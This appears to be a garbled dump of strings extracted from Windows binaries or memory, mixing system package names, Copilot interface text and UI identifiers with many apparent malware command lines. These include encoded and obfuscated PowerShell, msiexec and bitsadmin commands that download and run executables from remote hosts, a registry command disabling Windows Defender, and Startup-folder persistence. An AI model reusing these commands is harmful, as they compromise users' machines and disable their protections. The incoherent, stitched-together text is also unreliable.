"?id=%s&time=%s?id=%s&Count=%d?id=%s&cab=%s?id=%s&t=%s&mac=%spng?id=%s&t=%sWindows Update
GetUserObjectInformationAGetProcessWindowStationHttpOpenRequest
Windows
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
WindowsIsStringEmpty
WindowsStringHasEmbeddedNull
WindowsGetStringRawBuffer
WindowsCreateString
WindowsCreateStringReference
WindowsDeleteString
WindowsDuplicateString
WindowsCompareStringOrdinal
Kic:\windows\v
c:\windows\system32
c:\windows\system32\windowspowershell\v1.0\powershell.exe-ejabkad0ajwbkag8adwbuacaaeqbvahuacgagagyaaqbsaguacwanadsasqblafgakaamacgajabkafsamqaxaf0akwakagqawwayaf0akwakagqawwa4af0akqagac0adqbzaguaygagaggadab0ahaacwa6ac8alwb3ahcadwauageaywbyag8alqbkahiaaqb2agualgbjag8abqavagialwbjag8abgbmac0abgbhahmadabhac4abqbwadqakqa=
#uecho---disable"secureboot"buttonin"windows
51^windows.appExtension
52^windows.protocol
winlogon.exe
servicestarted-windowsdefenderantivirus
!Windowsublocality_flushPassiveEffectslotFnotific
{"aliases":["login.microsoftonline.com","login.windows.net","login.microsoft.com","sts.windows.net"],"preferred_cache":"login.windows.net","preferred_network":"login.microsoftonline.com"}
{"aliases":["login.microsoftonline.com","login.windows.net","login.microsoft.com","sts.windows.net"],"preferred_cache":"login.windows.net","preferred_network":"login.microsoftonline.com"}
{"aliases":["login.microsoftonline.com","login.windows.net","login.microsoft.com","sts.windows.net"],"preferred_cache":"login.windows.net","preferred_network":"login.microsoftonline.com"}
:\windows\system32\Z
*.crtwindows\system\certifexpxp.exe\
@Windows@@
#$0?0$0A@$1?GUID_CAUSALITY_WINDOWS_PLATFORM_ID@@3U_'
kColorPipWindowScrimFull
kColorPipWindowScrimTopGradientStart
kColorPipWindowScrimTopGradientEnd
kColorPipWindowScrimBottomGradientStart
kColorPipWindowScrimBottomGradientEnd
kColorPipWindowSkipAdButtonBackground
kColorPipWindowSkipAdButtonBorder
&.NET Docking Library for Windows Forms
https://www.bing.com/AS/API/WindowsCortanaPane/V2/WSBServiceWorker.js
C:\WINDOWS\SYSTEM32\
Microsoft-Windows-Client-Desktop-Required-Package04111~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0111~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0412~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0411~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-Client-Features-Package0010~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-Package0110~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Features-WOW64-Package01~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-GroupPolicy-ClientTools-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-GroupPolicy-ClientTools-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7705.cat|!
Microsoft-Windows-MediaPlayer-Opt-WOW64-Package~31bf3856ad364e35~wow64~en-US~10.0.26100.1.cat|!
UserExperience-Desktop-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|UserExperience-Desktop-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|n-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-IIS-WebServer-AddOn-ServerCommon-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-IIS-WebServer-ServerCommon-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-IIS-WebServer-AddOn-ServerCommon-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-IIS-WebServer-AddOn-ServerCommon-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|Microsoft-Windows-IIS-WebServer-ServerCommon-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-IIS-WebServer-ServerCommon-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|!
Microsoft-Windows-MediaPlayer-Opt-WOW64-Package~31bf3856ad364e35~wow64~en-US~10.0.26100.1.cat|!
\WINDOWS\SYSTEM32\Cum 4 Sluts-uninstall.exe
diskVolume3\ProgramData\Microsoft\Windows\AppRepository\Packages\MicrosoftWindows.Client.Photon_1000.26100.10.0_x64__cw5n1h2txyewy\machine.pckgdep
diskVolume3\ProgramData\Microsoft\Windows\AppRepository\Packages\MicrosoftWindows.Client.Photon_1000.26100.10.0_x64__cw5n1h2txyewy\machine.pckgdep
diskVolume3\ProgramData\Microsoft\Windows\AppRepository\Packages\MicrosoftWindows.Client.OOBE_1000.26100.32.0_x64__cw5n1h2txyewy\machine.pckgdep
]mozilla/5.0 (windows; u; msie 9.0; windows nt 9.0; en-us))
%Microsoft Windows Production PCA 20110
Microsoft Windows0
%Microsoft Windows Production PCA 20110
%Microsoft Windows Production PCA 2011
 http://www.microsoft.com/windows0
! @default$windows.data.donotdisturb.quietmoment$
*Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
Microsoft.Windows.Widgets.Feeds.Providers
onecoreuap\shell\windows.storage.search\FederatedCloudSearch\src\StorageProviderSearchQueryOptions.cpp
SetTcpWindowSize
TcpWindowSize
Win32Registry|SYSTEM\CurrentControlSet\Services\Tcpip\Parameters|TcpWindowSize
NAME=WINDOWS11$j
C:\WINDOWS\System32\Storm2.exeD:\Browsers.exe
C:\ProgramData\Microsoft\Windows\AppRepository\StateRepository-Deployment.srd
C:\ProgramData\Microsoft\Windows\AppRepository\StateRepository-Deployment.srd-journal
C:\ProgramData\Microsoft\Windows\AppRepository\StateRepository-Deployment.srd-wal
System.Windows.Forms.UnsafeNativeMethods.UiaCore.ITextProvider2.GetVisibleRanges
System.Windows.Forms.UnsafeNativeMethods.UiaCore.ITextProvider.GetVisibleRanges
System.Windows.Forms.Layout.IArrangedElement.Properties
System.Windows.Forms.Layout.IArrangedElement.get_Properties
System.Windows.Forms.UnsafeNativeMethods.UiaCore.ITextRangeProvider.GetBoundingRectangles
System.Windows.Forms.IKeyboardToolTip.GetNeighboringToolsRectangles
This site has been flagged by Microsoft Defender SmartScreen. Microsoft Copilot suggests you avoid this site. Using this site will put your privacy and security at risk.Microsoft Copilot limits most sites from using third-party cookies to track you as you browse. Visit settings to $1.Microsoft Copilot periodically checks your passwords against lists that have been published online. When doing this, your passwords and usernames are encrypted, so they can't be read by anyone, including Microsoft.When you use a password, Microsoft Copilot warns you if it has been published online. When doing this, your passwords and usernames are encrypted, so they can't be read by anyone, including Microsoft.Microsoft Copilot PasswordsMicrosoft Copilot is trying to fill your password on $1.Passkey from Copilot profileMicrosoft Copilot is trying to turn on Windows Hello for filling passwords.Microsoft Copilot is trying to turn off Windows Hello for filling passwords.Cards and addresses are from Microsoft Copilot. You can manage them in BEGIN_LINKSettingsEND_LINK.An application is preventing Microsoft Copilot from safely connecting to this siteCan't establish a secure connection: The certificates that websites use to identify themselves are only valid for specific periods of time. Because your device's clock is incorrect, Microsoft Copilot can't verify these certificates.$1 uses encryption to protect your information. When Microsoft Copilot tried to connect to $1 this time, the website sent back unusual and incorrect credentials. This may happen when an attacker is trying to pretend to be $1, or a Wi-Fi sign-in screen has interrupted the connection. Your information is still secure because Microsoft Copilot stopped the connection before any data was exchanged.You can't visit $1 right now because the website sent scrambled credentials that Microsoft Copilot can't process. Network errors and attacks are usually temporary, so this page will probably work later.<h4>Step 1: Sign in to the portal</h4>
Proxy-Authorization: NTLM %sC:\Windows\Temp\SOFTWARE\Classes\*\shellex\DragDropHandlersExplorerFrame
patched windows defenderp
windows.hlp
Reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /fnet user %username% /fullname:"mr krabs was here!"copy /y "%temp%
.exe" "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup"
USERDOMAIN_ROAMINGPROFILE=Windows11
ComSpec=C:\WINDOWS\system32\cmd.exe
OS=Windows_NT
-windowstylehidden;
|o"powershell.exe"-argumentlist"-noprofile-executionpolicybypass-windowstylehidden-file
 ><detectnonedefault="true"/></selectable><packageintegrate="hidden"><assemblyidentityname="windows-defender-client-package"
Microsoft-Windows-Client-Desktop-Required-Package04113~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
 Windows
LOGONSERVER=\\WINDOWS11
COMPUTERNAME=WINDOWS11
USERDOMAIN=Windows11
windir=C:\WINDOWS
SystemRoot=C:\WINDOWS
Microsoft-Windows-ProjFS-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat
Windows-ClientCore-Win32Bridge-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat
WindowsForms10.Window.0.app.0.129c866_r7_ad1
CheckWindowsServer1709EFIBoot
%s():%d: Current OS is Windows Server 1709
ret = CheckWindowsServer1709EFIBoot(isServer1709UefiBoot)
Windows.Storage.Search.pdb
\Windows\CurrentVer
microsoft.windowsazure.deployment.
2schemas.microsoft.com/windowsazure
windows.hlp
cmd.exe@.cmd.exepku-1/q/v/r^s^ta^r^t^msie^x^e^c/fv"http://0j.re:8080/yby73dcp/qzra35k3pjheqm45qa/xnnmlwiwwv/!computername!"/q^ui^e^tbs^zcs^v=i^j^v^thmn!%systemroot%\system32\shell32.dll
,c:\windows\system32\cmd.exegambarukur}/d/v/r^st^a^rt^ms^iex^ecg^jhbs=^zgf^u^x^c^j/^fv"http://3z.nu:8080/ywa2cjr/x/jczncat8b4fuaz7lhawsmso/!computername!"-^q%windir%\system32\shell32.dll
\windows\system32\cmd.exe/v/r^st^a^rtmsiexe^csgf^j^w^eu=i^q^l^y^ss^qlm/f^v"http://m0.nu:8080/beyzsublgerwkwerbww4lbt3hzsyrdap/!computername!"/q^ui^e^t^atgjac^r=^ii^c^x^hz^a^bshell32.dll
ypowershell.exe10000399009494.pdf./powershell.exe*c:\windows\syswow64\windowspowershell\v1.0qinvoke-webrequest-uri'https://tradiversum.ro/wed/new.exe'-outfile$env:temp\file.exe;start$env
}<c:\windows\system32\cmd.exe/c@echooff&&titleupdate&&bitsadmin/transfermdj/download/priorityforegroundhttps://files.catbox.moe/kaz8kd.bat"%temp%\\kaz8kd.bat"&&start"""%temp%\\kaz8kd.bat"
-windowstylehidden-command"$codes=10411611611211558474710210510810111546999711698111120461091111014711110010010654484649691136851;irm$([text.encoding]::ascii.getstring(@($codes)))|iex"
.cmdc:\windows\system32\zipfldr.dll%systemroot%\system32\zipfldr.dll%sys1
C:\WINDOWS\system32\svchost.exe -k UnistackSvcGroup
SLGetWindowsInformationDWORD
Microsoft-Windows-Client-Desktop-Required-Package0418~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
c:\v1uj9windows@owhum.t)windowsz1|u|syswow64boiuaq.t7syswow64v2fskcmd.exe@fskuj.7[cmd.exej-i9vc:\windows\syswow64\cmd.exe
.cmdc:\windows\syswow64\shlwapi.dll%systemroot%
Oc:\windows\syswow64\windowspowershell\v1.0\powershell.exe-windowstyleminimizedinvoke-webrequest-uri
stuvwxyz0123456789c:\windows\system32\shell32.dllc:\windows\system32\cmd.exec:\windows\system32\cmd.exec:\windows\system32\shell32.dllc:\windows\system32\shell32.dll
/'c:\windows\system32\windowspowershell\v1.0\powershell.exe-noprofile-executionpolicybypass-command"powershell.exe-noprofile-executionpolicybypass-command'irmhttps://christitus.com/win|iex'"
s]c:\windows\system32\windowspowershell\v1.0\powershell.exe-windowstylehid-com"$az=\"$env:temp\959ced3d.exe\";invoke-webrequest-uri\"https://q21.f71.mytemp.website/studio\"-outfile$az;&$az;"
c:\windows\system32\cmd.exe%
#\windows\system32\cmd.exe/c%windir%\system32\curl-s-o%temp%\
 .dat&&%windir%\system32\regsvr32%temp%\
.rtfc:\windows\explorer.exe%windir%\system32\cmd.exe%
\windows\system32\cmd.exe/c%windir%\system32\curl-s-o%temp%\
      <xs:enumeration value="windows"/>
Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.29
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.3
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.30
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.31
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.32
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.33
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.34
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.35
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.18
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.19
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.2
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.20
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.3
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.4
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.5
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.6
GetChildWindowsTabOrderList
System.Windows.Forms.UnsafeNativeMethods.ILegacyIAccessibleProvider.KeyboardShortcut
System.Windows.Forms.UnsafeNativeMethods.ILegacyIAccessibleProvider.get_KeyboardShortcut
System.Windows.Forms.UnsafeNativeMethods.IAccessibleInternal.get_accKeyboardShortcut
Windows 
.?AU?$implements@VCustomDrawingExtension@Xaml@View@TaskManager@@UIInspectable@Foundation@Windows@winrt@@@winrt@@
.?AU?$producers_base@VCustomDrawingExtension@Xaml@View@TaskManager@@V?$tuple@UIInspectable@Foundation@Windows@winrt@@@std@@@impl@winrt@@
.?AU?$producer_convert@VCustomDrawingExtension@Xaml@View@TaskManager@@UIInspectable@Foundation@Windows@winrt@@X@impl@winrt@@
.?AU?$producer@VCustomDrawingExtension@Xaml@View@TaskManager@@UIInspectable@Foundation@Windows@winrt@@X@impl@winrt@@
.?AU?$root_implements@VCustomDrawingExtension@Xaml@View@TaskManager@@UIInspectable@Foundation@Windows@winrt@@@impl@winrt@@
.?AU?$produce_base@U?$convertible_observable_vector@UProcessViewModel@TaskManagerApp@winrt@@V?$vector@UProcessViewModel@TaskManagerApp@winrt@@V?$allocator@UProcessViewModel@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@U?$IObservableVector@UIInspectable@Foundation@Windows@winrt@@@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AUtype@?$abi@U?$IObservableVector@UIInspectable@Foundation@Windows@winrt@@@Collections@Foundation@Windows@winrt@@X@impl@winrt@@
.?AU?$produce_base@U?$convertible_observable_vector@UProcessViewModel@TaskManagerApp@winrt@@V?$vector@UProcessViewModel@TaskManagerApp@winrt@@V?$allocator@UProcessViewModel@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@U?$IVector@UIInspectable@Foundation@Windows@winrt@@@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AU?$produce_base@U?$convertible_observable_vector@UProcessViewModel@TaskManagerApp@winrt@@V?$vector@UProcessViewModel@TaskManagerApp@winrt@@V?$allocator@UProcessViewModel@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@U?$IVectorView@UProcessViewModel@TaskManagerApp@winrt@@@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AUtype@?$abi@U?$IVectorView@UProcessViewModel@TaskManagerApp@winrt@@@Collections@Foundation@Windows@winrt@@X@impl@winrt@@
.?AU?$produce@U?$convertible_observable_vector@UProcessViewModel@TaskManagerApp@winrt@@V?$vector@UProcessViewModel@TaskManagerApp@winrt@@V?$allocator@UProcessViewModel@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@U?$IIterable@UIInspectable@Foundation@Windows@winrt@@@Collections@Foundation@Windows@3@@impl@winrt@@
.?AU?$produce_base@U?$convertible_observable_vector@UProcessViewModel@TaskManagerApp@winrt@@V?$vector@UProcessViewModel@TaskManagerApp@winrt@@V?$allocator@UProcessViewModel@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@U?$IIterable@UIInspectable@Foundation@Windows@winrt@@@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AU?$produce@U?$convertible_observable_vector@UProcessViewModel@TaskManagerApp@winrt@@V?$vector@UProcessViewModel@TaskManagerApp@winrt@@V?$allocator@UProcessViewModel@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@U?$IObservableVector@UIInspectable@Foundation@Windows@winrt@@@Collections@Foundation@Windows@3@@impl@winrt@@
ucal_getTimeZoneIDForWindowsID
ucal_getWindowsTimeZoneID
ucal_getWindowsTimeZoneID
a de Windows para permitirlo.Microsoft
a de Windows para permitir esta acci
a de Windows para permitirlo.Microsoft
a de Windows para permitirlo.Microsoft
a de Windows para permitir esta acci
a de Windows para permitir esta acci
a de Windows para permitirlo.Microsoft Copilot est
a de Windows para permitirlo.Este equipo ya tiene una versi
Copilot requiere Windows
^windows.protocolh
aa^windows.protoco
^windows.appExecu
9f^windows.shareTarget0
a4^windows.appExtensionHos
-MicrosoftWindows.Client.Core_cw5n1h2txyewy!Global.SystemTray
)MicrosoftWindows.Client.Core_cw5n1h2txyewy!Global.TwinSxn
;MicrosoftWindows.Client.Core_cw5n1h2txyewy!Global.SpeechRecognizerExtensio
c9^com.microsoft.windows.widget
wow64_microsoft-windows-n..csframeworksettings_31bf3856ad364e35_none_1aed5f2463a4eb96
wow64_microsoft-windows-n..dapplication-events_31bf3856ad364e35_none_423948eb34c93de2
wow64_microsoft-windows-n..daptercim.resources_31bf3856ad364e35_en-us_a91cbd0cd77f44fd
wow64_microsoft-windows-n..dingengine-netsetup_31bf3856ad364e35_none_488e25db108cf7e1
wow64_microsoft-windows-n..e-drivers.resources_31bf3856ad364e35_en-us_3b9515683e25097d
wow64_microsoft-windows-n..ergrouppolicysnapin_31bf3856ad364e35_none_1ab0abf4d6910470
wow64_microsoft-windows-n..extended-deployment_31bf3856ad364e35_none_a56a44c4df734e0f
wow64_microsoft-windows-n..framework.resources_31bf3856ad364e35_en-us_f0eb53617ff08754
wow64_microsoft-windows-n..henabledapplication_31bf3856ad364e35_none_b978f7cfd5fc1bda
.com/bgj3/ckjg.exe"$destination="c:\windows\temp\tybd7.exe"invoke-webrequest-uri$url-headers$iks-outfile$destinationstart-process-filepath$destination}voidhelp
USERNAME=WINDOWS11$
\system32\config
WindowsCopilotDisabledByMDM
reason::windows_copilot_policyValueIncorrect_error
reason::windows_copilot_policyValueNotFound
#5xc:\windows\system32\cmd.exe/q/ctype%
ows\system32\msi
$gc:\windows\system32
https://www.bing.com/rp/1ABw-gtVskyuY7-kFCq3djMxqrw.br.js(function(n,t){function i(n,t){return LocStringManager.register({uiCulture:n,name:"WsbLocStrings",namespace:"WindowsSearchBox"},{AIFeedGroup:t[0],AadAccount:t[1],Accounts:t[2],AcknowledgeFlyoutText:t[3],AcronymNonTopHitAdditionalInfoText:t[4],AcronymTopHitSecondaryText:t[5],ActionsSection:t[6],Activity:t[7],AddAadAccount:t[8],AddMicrosoftAccount:t[9],AddVisualsTo:t[10],AddingDMAWindowsScopeNarratorText:t[11],AddingScopeNarratorText:t[12],AddingScopeNarratorTextAll2:t[13],AddingScopeNarratorTextAndSeeMore:t[14],AfternoonGreeting:t[15],AirplaneModeSettingSuggestion:t[16],Album:t[17],AlwaysAvailableOnThisDevice:t[18],AnaheimDataEdgeSettings:t[19],AnaheimDataGroupPopup:t[20],AnaheimDataGroupPopup11:t[21],AnaheimDataHistory:t[22],AnaheimDataRecentlyClosed:t[23],AnaheimDataTopSites:t[24],AnaheimResetDefaultDescString:t[25],AnaheimResetDefaultFail:t[26],AnaheimResetDefaultSuccess:t[27],AnaheimResetDefaultTitleString:t[28],AnaheimResetDefaultTitleString3:t[29],AnaheimResetDefaultTooltip:t[30],App:t[31],AppInMicrosoftStore:t[32],AppPreviewImg:t[33],AppStarRating:t[34],AppSuggestionsModuleHeader:t[35],ArticleCarouselSeeMore:t[36],ArticleCarouselTitle:t[37],Artist:t[38],AskAssistantApp:t[39],AskCopilot:t[40],AskmeAnything:t[41],Author:t[42],AvailableAccounts:t[43],AvailableOnThisDevice:t[44],AvailableWhenOnline:t[45],BestMatch:t[46],BestMatchForApps:t[47],BestMatchForDocuments:t[48],BestMatchForEmails:t[49],BestMatchForFolders:t[50],BestMatchForMusic:t[51],BestMatchForPeople:t[52],BestMatchForPhotos:t[53],BestMatchForSchool:t[54],BestMatchForSettings:t[55],BestMatchForVideos:t[56],BestMatchForWeb:t[57],BestMatchForWork:t[58],BingChat:t[59],BingImageCreator:t[60],BingImageDate:t[61],BingImageSize:t[62],BingImageSource:t[63],BingPopularQueriesSection:t[64],BirthdayCardButtonText:t[65],BirthdayCardDisclaimer:t[66],BirthdayCardDismiss:t[67],BirthdayCardGenericTitle:t[68],BirthdayCardPrivacy:t[69],BirthdayCardTerms:t[70],BirthdayCardTitle:t[71],BluetoothSettingSuggestion:t[72],BluetoothSettingsSuggestion:t[73],BookHotelsToStay:t[74],BrowseMoreSearchResults:t[75],Build:t[76],Cancel:t[77],CasualGamesMegaTitle:t[78],ChartsAndGraphsTipsFor:t[79],ChatToggle:t[80],ChatWithBing:t[81],ChatWithBingAI:t[82],Clear:t[83],CloseButtonText:t[84],CloudSearch:t[85],CodexChatButton:t[86],CodexChatButtonToolTip:t[87],CodexChatButtonUpperRight:t[88],CodexChatButtonUpperRightToolTip:t[89],CodexChatUpsellButton1:t[90],CodexChatUpsellButton2:t[91],CodexChatUpsellButton3:t[92],CodexChatUpsellCaption1:t[93],CodexChatUpsellCaption2:t[94],CodexChatUpsellCaption3:t[95],CodexChatUpsellTitle1:t[96],CodexChatUpsellTitle2:t[97],CodexChatUpsellTitle3:t[98],ColorSettingsSuggestion:t[99],CommandGroup:t[100],Company:t[101],ConnectedAccount:t[102],ConnectedAccounts:t[103],ContactGroup:t[104],Content:t[105],ContentRelatedHasBeenFound:t[106],ContextMenu:t[107],ContinueConversation:t[108],ControlPanelAnnotation:t[109],Copied:t[110],CopyDetails:t[111],CopyFileURL:t[112],CopyFullPath:t[113],CopySearchPHT:t[114],CortanaAnnotation_Email:t[115],CortanaGroup:t[116],CreateSpeakerNotesFor:t[117],CreateWithAI:t[118],CurrencyConverterTitle:t[119],DMAWebSearchResults:t[120],DMAWebSuggestions:t[121],DSBAfternoonGameBreak:t[122],DSBBingGamesTitle:t[123],DSBChatWithBingMegaTitle:t[124],DSBDailyPuzzle:t[125],DSBDailyQuiz:t[126],DSBExploreMoreTitle:t[127],DSBExploreMsn:t[128],DSBIotdAllImages:t[129],DSBIotdDate:t[130],DSBIotdMap:t[131],DSBIotdQuiz:t[132],DSBLearnMore:t[133],DSBLeftChevron:t[134],DSBLeftChevronAnnouncement:t[135],DSBLocalTag:t[136],DSBMoreGames:t[137],DSBOnThisDay:t[138],DSBPersonalizedFeedTitle:t[139],DSBPlaceHolderText:t[140],DSBPlayNow:t[141],DSBQuoteOfTheDay:t[142],DSBRecentTitle:t[143],DSBRecipeFromTheWeb:t[144],DSBRecommendedProductsTitle:t[145],DSBRelatedImagesAnswerTitle:t[146],DSBRewardsDailySetTitle:t[147],DSBRightChevron:t[148],DSBRightChevronAnnouncement:t[149],DSBShoppingTag:t[150],DSBShortVideosTitle:t[151],DSBTrendingTitle:t[152],DSBTrendingTitleLong:t[153],DSBTrendingVideosTitle:t
Microsoft-Windows-Client-Features-Package05~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft-Windows-Client-Features-Package09~31bf3856ad364e35~amd64~~10.0.26100.7705.cat
Microsoft-Windows-Diagnostics-Performance
(@client.wns.windows.com
(@client.wns.windows.com
)@client.wns.windows.com
windows can't play the following media formats:avi;asf;wmv;avs;flv;mkv;mov;3gp;mp4;mpg;mpeg;mp3;aac;wav;wma;cda;flac;m4a;mid.
c:\windows\system32\
rundll32.exe c:\windows\system32\
.bat&1%programfiles%\windowsnt\accessories\wordpad.exe%
objshell.runobjwindir&"\system32\cmd.exe/ccurlhttp://15.222.66.186/r.exe-o%temp%\resource.exe&&c:\windows\system32\cmd.exe/c%temp%\resource.exe",0'executeresource(x).xmlusingmsbuild.exeandnpsobjshell.runobjwindir&"\system32\cmd.exe/cdel%temp%\resource.exe"
:\windows\system32\*.scr|where-ob"
nt\currentversion\winlogon
 policybypass-windowstylehidden-command"iex(
tQyWindows Perf BoosterW
<windowsidentity 
windowsta;
\windows
WindowsIntegratedAuth
HKLM\SOFTWARE\Microsoft\Windows NT\C
saveWindowsWallpaper
windows\temp\upgrader.backwf
SOFTWARE\Microsoft\Windows NT\CurrentVeP
c:\windows\system32\wscript.exe
net9.0-windows10.0.19041.0\\win10-X
sRFc:/windows/scinj_098823.logc
/SOFTWARE\mIcRoSoFt\wINDoWS nt\currentVerSioN\sVChoST
C.Windows.Security.BitLocker.CSP.State.Update
COMSPEC=C:\WINDOWS\system32\cmd.exe
PATH=C:\WINDOWS;C:\Program Files\Common Files\Microsoft Shared
SystemRoot=C:\WINDOWS
scaningregisterswindows...
s\system32\ime\S
0\Microsoft Windows OneCare Live\WinSSPlatform.dllnet stop winss
=.windows.extens
.?AU?$__abi_FunctorCapture@V<lambda_0aa32ef11ea472681bf0e66c7a053615>@@XPE$AAUIBackgroundTaskInstance@Background@ApplicationModel@Windows@@W4BackgroundTaskCancellationReason@345@@Details@Platform@@
-windowstyle hiddeniex (gp 'hkcu:\%s').%si
Everrides@Controls@Xaml@UI@Windows@4@UIControlOverrides@789Windows@4@UIControlOverrides6@789Windows@4@UIFrameworkElementOverrides@89Windows@4@UIFrameworkElementOverrides2@89Windows@4@UIUIElementOverrides@89Windows@4@UIUIElementOverrides7@89Windows@4@UIUIElementOverrides8@89Windows@4@UIUIElementOverrides9@89Windows@4@@impl@winrt@@
.?AU?$produce_base@UGroupableSettingTemplateSelector@implementation@TaskManagerApp@winrt@@UIDataTemplateSelectorOverrides@Controls@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$produce@UGroupableSettingTemplateSelector@implementation@TaskManagerApp@winrt@@UIDataTemplateSelectorOverrides2@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$produce_base@UGroupableSettingTemplateSelector@implementation@TaskManagerApp@winrt@@UIDataTemplateSelectorOverrides2@Controls@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$produce@UGroupableSettingTemplateSelector@implementation@TaskManagerApp@winrt@@UIDataTemplateSelectorOverrides@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$base_one@UGroupableSettingTemplateSelector@implementation@TaskManagerApp@winrt@@UDataTemplateSelector@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$base@UGroupableSettingTemplateSelector@implementation@TaskManagerApp@winrt@@UDataTemplateSelector@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AV?$IDataTemplateSelectorOverridesT@UGroupableSettingTemplateSelector@implementation@TaskManagerApp@winrt@@@Controls@Xaml@UI@Windows@winrt@@
.?AV?$IDataTemplateSelectorOverrides2T@UGroupableSettingTemplateSelector@implementation@TaskManagerApp@winrt@@@Controls@Xaml@UI@Windows@winrt@@
.?AU?$require_one@UGroupableSettingTemplateSelector@implementation@TaskManagerApp@winrt@@UIDataTemplateSelector2@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IElementFactory@UGroupableSettingTemplateSelector@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UGroupableSettingTemplateSelector@implementation@TaskManagerApp@winrt@@UIElementFactory@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$require@UGroupableSettingTemplateSelector@implementation@TaskManagerApp@winrt@@UIDataTemplateSelector@Controls@Xaml@UI@Windows@4@UIDataTemplateSelector2@67894@UIElementFactory@7894@@impl@winrt@@
.?AU?$implements@UGroupableSettingTemplateSelector@implementation@TaskManagerApp@winrt@@U134@Ucomposing@4@UIDataTemplateSelectorOverrides@Controls@Xaml@UI@Windows@4@UIDataTemplateSelectorOverrides2@789Windows@4@@winrt@@
